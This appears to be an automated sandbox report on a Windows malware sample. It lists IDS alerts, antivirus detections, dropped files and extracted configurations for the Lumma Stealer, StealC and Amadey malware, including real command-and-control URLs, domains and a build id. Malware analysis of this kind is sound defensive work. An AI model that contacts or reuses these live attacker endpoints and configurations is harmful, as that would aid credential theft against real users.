2024-10-24T11:02:14.002548+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	57146	1.1.1.1	53	UDP
2024-10-24T11:02:49.586490+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	49197	1.1.1.1	53	UDP
2024-10-24T11:03:03.427566+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	61858	1.1.1.1	53	UDP
2024-10-24T11:03:38.464313+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	58626	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:14.061863+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	64425	1.1.1.1	53	UDP
2024-10-24T11:02:49.657579+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	57813	1.1.1.1	53	UDP
2024-10-24T11:03:03.495697+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	57811	1.1.1.1	53	UDP
2024-10-24T11:03:38.546217+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	61861	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:13.989990+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	60409	1.1.1.1	53	UDP
2024-10-24T11:02:49.565799+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	59107	1.1.1.1	53	UDP
2024-10-24T11:03:03.404726+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	50298	1.1.1.1	53	UDP
2024-10-24T11:03:38.452951+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	52409	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:14.049535+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	49807	1.1.1.1	53	UDP
2024-10-24T11:02:49.637727+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	51844	1.1.1.1	53	UDP
2024-10-24T11:03:03.483458+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	65174	1.1.1.1	53	UDP
2024-10-24T11:03:38.531253+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	58956	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:14.024776+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	54324	1.1.1.1	53	UDP
2024-10-24T11:02:49.612723+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	51183	1.1.1.1	53	UDP
2024-10-24T11:03:03.456658+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	63430	1.1.1.1	53	UDP
2024-10-24T11:03:38.504725+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	62512	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:20.832437+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49716	104.21.53.8	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:42.594516+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49831	185.215.113.37	80	TCP
2024-10-24T11:02:57.703869+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49918	185.215.113.37	80	TCP
2024-10-24T11:03:10.110653+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49985	185.215.113.37	80	TCP
2024-10-24T11:03:17.265879+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50022	185.215.113.37	80	TCP
2024-10-24T11:03:28.163525+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50034	185.215.113.37	80	TCP
2024-10-24T11:03:50.376172+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50066	185.215.113.37	80	TCP
2024-10-24T11:04:02.239219+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50072	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:42.729196+0200	2856147	1	A Network Trojan was detected	192.168.2.6	49832	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:50.430731+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49848	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:46.184808+0200	2803305	3	Unknown Traffic	192.168.2.6	49854	185.215.113.16	80	TCP
2024-10-24T11:02:52.257460+0200	2803305	3	Unknown Traffic	192.168.2.6	49887	185.215.113.16	80	TCP
2024-10-24T11:02:58.285552+0200	2803305	3	Unknown Traffic	192.168.2.6	49920	185.215.113.16	80	TCP
2024-10-24T11:03:05.927617+0200	2803305	3	Unknown Traffic	192.168.2.6	49963	185.215.113.16	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:15.644344+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49710	104.102.49.254	443	TCP
2024-10-24T11:02:51.187341+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49877	104.102.49.254	443	TCP
2024-10-24T11:03:05.164099+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49951	104.102.49.254	443	TCP
2024-10-24T11:03:40.037995+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50057	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000003.2397910206.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 35.0.num.exe.710000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: file.exe.1832.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["clearancek.site", "eaglepawnoy.store", "mobbipenju.store", "studennotediw.store", "bathdoomgaz.store", "licendfilteo.site", "spirittunek.store", "dissapoiznw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: clearancek.site
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: licendfilteo.site
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: spirittunek.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: bathdoomgaz.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: studennotediw.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: dissapoiznw.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: eaglepawnoy.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: mobbipenju.store
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: clearancek.site
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: - Screen Resoluton:
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: Workgroup: -
Source: 00000009.00000002.2533225725.00000000004A1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: 4SD0y4--legendaryy

Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe

Code function: 6_2_00B72890 CryptVerifySignatureA,

6_2_00B72890

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50122 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: A77BGJTTW6SX9ESX.exe, 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmp, A77BGJTTW6SX9ESX.exe, 00000006.00000003.2417153642.00000000047C0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_004AD110
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_004AD110
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	9_2_004E99D0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	9_2_004AFCA0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	9_2_004B6F91
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	9_2_004BD961
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	9_2_004E3920
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	9_2_004A49A0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	9_2_004E4A40
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	9_2_004A5A50
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then jmp eax	9_2_004B1A3C
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then jmp eax	9_2_004B1ACD
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	9_2_004B42FC
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	9_2_004E9B60
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	9_2_004B1BEE
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	9_2_004B3BE2
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_004BD457
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov ebp, eax	9_2_004AA46A
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov ebp, eax	9_2_004AA461
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	9_2_004CC470
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	9_2_004BB410
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	9_2_004CCCD0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_004CCCD0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	9_2_004CCCD0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_004E9CE0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	9_2_004E9CE0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	9_2_004CFD10
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	9_2_004B6536
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	9_2_004A8590
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	9_2_004B0EEC
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	9_2_004B1E93
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	9_2_004A6EA0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	9_2_004B6EBF
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	9_2_004ABEB0
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_004E5700
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	9_2_004B6F91

Source: firefox.exe

Memory has grown: Private usage: 0MB later: 190MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:53798 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:60409 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:64425 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:54324 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:62813 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:53329 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:49807 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:57146 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49831 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49832 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:54074 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:50123 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:51183 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:59107 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:53060 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:57813 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:51844 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:49197 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49848
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49881 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49918 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49913 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:55166 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:52184 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:63687 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:57811 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:50298 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49957 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:63430 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:65174 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49993 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49985 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50034 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:52409 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:58956 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:59941 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:61861 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50022 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:62512 -> 1.1.1.1:53
